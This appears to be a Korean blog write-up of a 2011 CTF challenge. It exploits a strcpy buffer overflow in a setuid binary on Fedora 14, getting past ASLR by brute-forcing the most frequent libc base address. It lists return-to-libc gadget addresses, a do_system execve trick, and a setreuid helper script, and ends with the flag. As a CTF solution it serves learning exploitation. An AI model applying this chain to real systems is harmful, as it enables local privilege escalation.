NULL |
Summary : buffer overflow , bypassing ASLR with the most repeated address
Server Info
[whatthe@k1rha .pwn3r]$ uname -a Linux k1rha 2.6.35.14-96.fc14.i686 #1 SMP Thu Sep 1 12:49:38 UTC 2011 i686 i686 i386 GNU/Linux |
서버환경은 fedora 14이고 ASLR과 Exec-Shield가 enable되어있다.
[anomy@k1rha .pwn3r]$ cat /proc/sys/kernel/randomize_va_space |
홈디렉토리에 주어진 file은 gotroot user의 setuid가 걸린 파일 ping2와 ping2.c이다.
#include<stdio.h> extern char **environ;
|
ping이라는 파일명과는 전혀 무관한 동작을 한다.
argc가 2이상이라면 strcpy를 호출해서 argv[1]을 지역변수에 복사하기때문에 overflow취약점이 발생한다.
코드는 매우 간결하지만 , ASLR과 Exec-shield가 걸려있기때문에 공격에 약간의 어려움이 있다.
효율성을 위해 , ASLR이 걸려있어도 출현빈도가 높은주소가 있다는 점을 이용할 수 있다.
(해커스쿨 멍멍님의 codegate vuln300풀이 참고 : http://www.hackerschool.org/Sub_Html/HS_University/CTF/Codegate/2011/vuln300/vuln300.html)
ldd를 이용해 출현빈도를 확인해본다.
......................................... ......................................... 1 /lib/ld-linux.so.2 (0x00fdc000) 2 /lib/ld-linux.so.2 (0x00fdd000) 2 /lib/ld-linux.so.2 (0x00fde000) 7 /lib/ld-linux.so.2 (0x00fdf000) 1 /lib/ld-linux.so.2 (0x00fe0000) 1 /lib/ld-linux.so.2 (0x00fe1000) 1 /lib/ld-linux.so.2 (0x00fe2000) 2 /lib/ld-linux.so.2 (0x00fe3000) 1093 libc.so.6 => /lib/libc.so.6 (0x00110000) 2 libc.so.6 => /lib/libc.so.6 (0x00111000) 1 libc.so.6 => /lib/libc.so.6 (0x00112000) 5 libc.so.6 => /lib/libc.so.6 (0x00113000) 4 libc.so.6 => /lib/libc.so.6 (0x00114000) 3 libc.so.6 => /lib/libc.so.6 (0x00115000) 2 libc.so.6 => /lib/libc.so.6 (0x00116000) 2 libc.so.6 => /lib/libc.so.6 (0x00117000) 1 libc.so.6 => /lib/libc.so.6 (0x00118000) ......................................... ......................................... |
0x00110000의 빈도가 특출나게높다. (상당히 오래 돌렸기때문)
따라서 RTL공격으로 한번에 성공은 못하더라도 높은 확률로 공격에 성공할 수 있다.
그런데 리턴어드레스에 실행계열함수의 주소를 넣어주더라도 ascii armor때문에 인자를 이어서 넣어줄수가없다.
0x00149d85 <do_system+1125>: mov %eax,(%esp) 0x00149d88 <do_system+1128>: call 0x1ac370 <execve> |
하지만 exec계열 함수나 do_system함수에 존재하는 위의 코드를 이용할 수 있다.
위 코드는 do_system@libc내부에 있는코드인데 %eax에 있는값을 execve함수의 첫번째 인자로 사용하여 호출한다.
그런데 strcpy함수의 리턴값이 덮여진 메모리의 주소이기 때문에 strcpy@plt 로 원하는 문자열을 writable한 공간에 복사해주고 코드로 리턴시키면 strcpy가 덮어준 공간에 있는 문자열이 execve함수의 첫번째 인자로써 사용된다.
[whatthe@k1rha .pwn3r]$ objdump -d /lib/libc.so.6 | grep do_system 00039920 <do_system>: ......................................... ......................................... [whatthe@k1rha ~]$ readelf -S ping2| grep .bss [25] .bss NOBITS 08049704 000704 000008 00 WA 0 0 4 // writable space [whatthe@k1rha .pwn3r]$ objdump -d ~/ping2|grep ret 8048303: c3 ret // for lifting stack (gdb) x/3i 0x080484d7 0x80484d7 <__libc_csu_init+87>: pop %edi // pop - pop - ret for call chaining 0x80484d8 <__libc_csu_init+88>: pop %ebp 0x80484d9 <__libc_csu_init+89>: ret (qdb) x/s 0x8048154 0x8048154: "GNU" // argument for strcpy (it will finally be used to execve("GNU",NULL,NULL);) |
/lib/libc.so.6에서 do_system의 주소는 0x39920이므로 base address를 출현빈도가 가장높은 0x00110000으로 잡았을때 , do_system + 1125 주소는 0x1ac7bd이다.
execve함수의 첫번째를 제외한 이중포인터가 아니면 제대로 실행되지 않으므로 NULL로 맞춰주기위해 ret 명령이 있는주소를 잔뜩 넣어준다.
[whatthe@k1rha .pwn3r]$ cat sh.py import os os.setreuid(os.geteuid(),os.geteuid()) [whatthe@k1rha .pwn3r]$ ln -s sh.py GNU |
Flag : wantedGirlfriend
'CTF' 카테고리의 다른 글
HDCON 2011 본선 CTF - lucky (4) | 2011.10.13 |
---|---|
2011 HUST Hacking Festival - M (0) | 2011.10.03 |
CSAW CTF Quals 2011 - bin3 (0) | 2011.09.27 |
CSAW CTF Quals 2011 - bin1 (0) | 2011.09.27 |
Defcon 19th CTF Quals - Retro Revisted 200 (0) | 2011.09.25 |